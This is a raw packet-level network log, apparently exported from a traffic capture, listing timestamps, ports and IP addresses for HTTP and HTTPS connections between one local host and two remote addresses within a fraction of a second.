Nov 24, 2024 04:20:25.064646959 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:25.064696074 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:25.065408945 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:25.065473080 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:25.065490007 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:25.065524101 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:25.066251040 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:25.066307068 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:25.066385984 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:25.066440105 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:25.067162037 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:25.067210913 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:25.067850113 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:25.067956924 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:25.068167925 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:25.068180084 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:25.068222046 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:25.068248034 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:25.068948030 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:25.069005966 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:25.069048882 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:25.069274902 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:25.069864988 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:25.069911957 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:25.069951057 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:25.070039988 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:25.070734978 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:25.070818901 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:25.070836067 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:25.070885897 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:25.071615934 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:25.071665049 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:25.071695089 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:25.071722031 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:25.072524071 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:25.072578907 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:25.072643995 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:25.072688103 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:25.072954893 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.072971106 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.073120117 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.073126078 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.073169947 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.073416948 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:25.073463917 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:25.073481083 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:25.073510885 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:25.074316025 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:25.074378014 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:25.074489117 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:25.074541092 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:25.075184107 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:25.075232029 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:25.075324059 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:25.075378895 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:25.076100111 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:25.076112986 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:25.076154947 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:25.076977968 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:25.077060938 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:25.077111959 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:25.077876091 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:25.077958107 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:25.077986956 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:25.078041077 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:25.078758955 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:25.078813076 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:25.078819990 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:25.078874111 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:25.079667091 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:25.079742908 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:25.079766035 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:25.079863071 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:25.080528975 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:25.080629110 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:25.080693960 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:25.081011057 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.081026077 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.081080914 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.081087112 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.081095934 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.081151009 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.081372976 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:25.081588984 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:25.089695930 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.089710951 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.089761019 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.089767933 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.089821100 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.097296000 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.097311974 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.097347021 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.097352982 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.097393036 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.100991964 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:25.101006031 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:25.101062059 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:25.101188898 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:25.101246119 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:25.101285934 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:25.101373911 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:25.102077961 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:25.102138996 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:25.102170944 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:25.102225065 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:25.106873035 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.106895924 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.107482910 CET	49735	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.107482910 CET	49735	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.107522011 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.107655048 CET	49735	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.108891964 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.108944893 CET	49735	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.108958960 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.108978987 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.109005928 CET	49735	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.109028101 CET	443	49735	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.109051943 CET	49735	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.109051943 CET	49735	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.132005930 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.132034063 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.132101059 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.132112026 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.132134914 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.132150888 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.135994911 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.136018038 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.136081934 CET	49736	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.136105061 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.136146069 CET	49736	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.140692949 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.140723944 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.140762091 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.140770912 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.140819073 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.140819073 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.144197941 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.144221067 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.144265890 CET	49736	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.144273996 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.144309998 CET	49736	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.144326925 CET	49736	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.149194956 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.149220943 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.149410009 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.149421930 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.149468899 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.149470091 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.151896954 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.151917934 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.151966095 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.151974916 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.152013063 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.152021885 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.153578043 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.153603077 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.153633118 CET	49736	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.153640032 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.153687000 CET	49736	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.153707981 CET	49736	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.156621933 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.156644106 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.156733036 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.156733036 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.156744957 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.157031059 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.161375046 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.161391020 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.161474943 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.161480904 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.161518097 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.163098097 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.163120985 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.163161993 CET	49736	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.163168907 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.163196087 CET	49736	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.163216114 CET	49736	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.165260077 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.165285110 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.165379047 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.165379047 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.165388107 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.165560961 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.170773029 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.170789003 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.170835018 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.170840979 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.170876026 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.170892000 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.171396017 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.171418905 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.171473026 CET	49736	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.171480894 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.171518087 CET	49736	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.171531916 CET	49736	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.173270941 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.173293114 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.173367023 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.173376083 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.173418999 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.173418999 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.180222988 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.180243015 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.180318117 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.180324078 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.180354118 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.180376053 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.181474924 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.181497097 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.181562901 CET	49736	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.181570053 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.181617022 CET	49736	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.181632996 CET	49736	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.181956053 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.181977987 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.182027102 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.182034969 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.182066917 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.182066917 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.189066887 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.189089060 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.189147949 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.189153910 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.189198971 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.189789057 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.189815998 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.189865112 CET	49736	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.189872026 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.189910889 CET	49736	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.189919949 CET	49736	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.197169065 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.197186947 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.197230101 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.197236061 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.197271109 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.197290897 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.206633091 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.206671953 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.206752062 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.206758022 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.206796885 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.215146065 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.215167046 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.215214014 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.215221882 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.215255022 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.215301037 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.221044064 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.221065998 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.221120119 CET	49736	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.221127987 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.221162081 CET	49736	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.221184015 CET	49736	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.230850935 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.230870962 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.230928898 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.230936050 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.230992079 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.240750074 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.240772963 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.240814924 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.240825891 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.240854025 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.240860939 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.249150038 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.249165058 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.249218941 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.249226093 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.249644041 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.256362915 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.256378889 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.256416082 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.256422043 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.256453037 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.256474018 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.264730930 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.264746904 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.264808893 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.264815092 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.264852047 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.273128033 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.273144960 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.273287058 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.273287058 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.273293972 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.275052071 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.280929089 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.280946970 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.281001091 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.281004906 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.281579971 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.281603098 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.289315939 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.289331913 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.289402962 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.289410114 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.290761948 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.296571970 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.296586990 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.296657085 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.296664953 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.297804117 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.297849894 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.297854900 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.297880888 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.297894955 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.297921896 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.343605042 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.343645096 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.343693018 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.343707085 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.343748093 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.343791962 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.346261978 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.346291065 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.346335888 CET	49736	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.346359968 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.346407890 CET	49736	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.346427917 CET	49736	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.349311113 CET	49734	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.349323034 CET	443	49734	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.351968050 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.351990938 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.352051020 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.352058887 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.352143049 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.352248907 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.354427099 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.354449987 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.354497910 CET	49736	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.354506016 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.354526997 CET	49736	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.354619026 CET	49736	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.355691910 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.355736971 CET	49736	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.355743885 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.355782986 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.355793953 CET	49736	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.355838060 CET	49736	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.359415054 CET	443	49737	150.171.28.10	192.168.2.6
